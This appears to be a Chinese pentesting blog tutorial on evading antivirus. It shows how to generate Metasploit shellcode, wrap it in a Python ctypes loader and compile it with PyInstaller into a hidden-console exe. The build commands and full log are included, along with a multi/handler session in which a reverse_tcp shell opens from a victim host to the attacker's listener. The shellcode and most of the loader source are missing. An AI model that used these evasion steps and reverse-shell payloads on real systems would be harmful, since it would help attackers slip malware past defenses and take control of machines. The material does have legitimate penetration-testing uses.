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Metasploit - Tips for Evading Anti-Virus
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绕过杀毒软件，有很多钟方法。此处介绍一种，编写python程序调用shellcode，并使用Pyinstaler将python程序编译为exe程序。 |
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准备工作:(Windows XP环境下编译) |
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将Python程序编译为exe，须要Python主程序，pywin32库，Pyinstaller(直接解压到C盘)。 假设编译过程中出现错误提示，请依照指示解决这个问题。 安装过程不是非常复杂，在此不予说明。 |
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https://www.python.org/ftp/python/2.7.8/python-2.7.8.msi
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利用metasploit生成shellcode。供后面的python程序使用。 |
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msf payload(shell_bind_tcp) > show options
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准备完毕后。python程序源代码例如以下: |
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from ctypes import *
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利用Pyinstaller编译上述包括shellcode的python文件，命令例如以下: |
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C:\PyInstaller-2.1\utils>pythonmakespec.py --onefile --noconsole shellcode.py |
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wrote C:\PyInstaller-2.1\utils\shellcode.spec
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C:\PyInstaller-2.1\utils>pythonbuild.py shellcode.spec |
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59 INFO: Testing for ability to set icons, version resources...
69 INFO: ... resource update available 79 INFO: UPX is not available. 109 INFO: Processing hook hook-os 259 INFO: Processing hook hook-time 259 INFO: Processing hook hook-cPickle 349 INFO: Processing hook hook-_sre 509 INFO: Processing hook hook-cStringIO 639 INFO: Processing hook hook-encodings 660 INFO: Processing hook hook-codecs 1171 INFO: Extending PYTHONPATH with C:\PyInstaller-2.1\utils 1171 INFO: checking Analysis 1171 INFO: building Analysis because out00-Analysis.toc non existent 1171 INFO: running Analysis out00-Analysis.toc 1171 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable 1171 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww ... 1171 WARNING: Assembly not found 1180 ERROR: Assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww not found 1220 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\python.exe 1230 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww ... 1230 WARNING: Assembly not found 1230 ERROR: Assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww not found 1351 WARNING: lib not found: MSVCR90.dll dependency of C:\WINDOWS\system32\python27.dll 1351 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\_pyi_bootstrap.py 1381 INFO: Processing hook hook-os 1401 INFO: Processing hook hook-site 1421 INFO: Processing hook hook-encodings 1562 INFO: Processing hook hook-time 1562 INFO: Processing hook hook-cPickle 1661 INFO: Processing hook hook-_sre 1822 INFO: Processing hook hook-cStringIO 1961 INFO: Processing hook hook-codecs 2463 INFO: Processing hook hook-pydoc 2632 INFO: Processing hook hook-email 2713 INFO: Processing hook hook-httplib 2763 INFO: Processing hook hook-email.message 2844 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\pyi_importers.py 2904 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\pyi_archive.py 2963 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\pyi_carchive.py 3043 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\pyi_os_path.py 3043 INFO: Analyzing shellcode.py 3114 INFO: Hidden import 'codecs' has been found otherwise 3114 INFO: Hidden import 'encodings' has been found otherwise 3114 INFO: Looking for run-time hooks 3154 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\select.pyd 3203 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\unicodedata.pyd 3273 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\_hashlib.pyd 3323 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\bz2.pyd 3414 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\_ssl.pyd 3484 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\_ctypes.pyd 3555 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\_socket.pyd 3575 INFO: Using Python library C:\WINDOWS\system32\python27.dll 3625 INFO: Warnings written to C:\PyInstaller-2.1\utils\build\shellcode\warnshellcode.txt 3634 INFO: checking PYZ 3634 INFO: rebuilding out00-PYZ.toc because out00-PYZ.pyz is missing 3634 INFO: building PYZ (ZlibArchive) out00-PYZ.toc 4815 INFO: checking PKG 4815 INFO: rebuilding out00-PKG.toc because out00-PKG.pkg is missing 4815 INFO: building PKG (CArchive) out00-PKG.pkg 6167 INFO: checking EXE 6167 INFO: rebuilding out00-EXE.toc because shellcode.exe missing 6167 INFO: building EXE from out00-EXE.toc 6167 INFO: Appending archive to EXE C:\PyInstaller-2.1\utils\dist\shellcode.exe |
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编译完毕后，将shellcode.exe放到目标主机上运行，成功获取反弹shell。 |
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msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/shell/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LHOST 192.168.1.107 LHOST => 192.168.1.107 msf exploit(handler) > run [*] Started reverse handler on 192.168.1.107:4444 [*] Starting the payload handler... [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 192.168.1.112 [*] Command shell session 1 opened (192.168.1.107:4444 -> 192.168.1.112:2061) at 2014-08-28 12:51:54 +0800 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\PyInstaller-2.1\utils> |
參考链接:
http://pen-testing.sans.org/blog/pen-testing/2011/10/13/tips-for-evading-anti-virus-during-pen-testing
https://community.rapid7.com/community/metasploit/blog/2014/03/26/new-metasploit-49-helps-evade-anti-virus-solutions-test-network-segmentation-and-increase-productivity-for-penetration-testers
http://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/
http://schierlm.users.sourceforge.net/avevasion.html
http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/
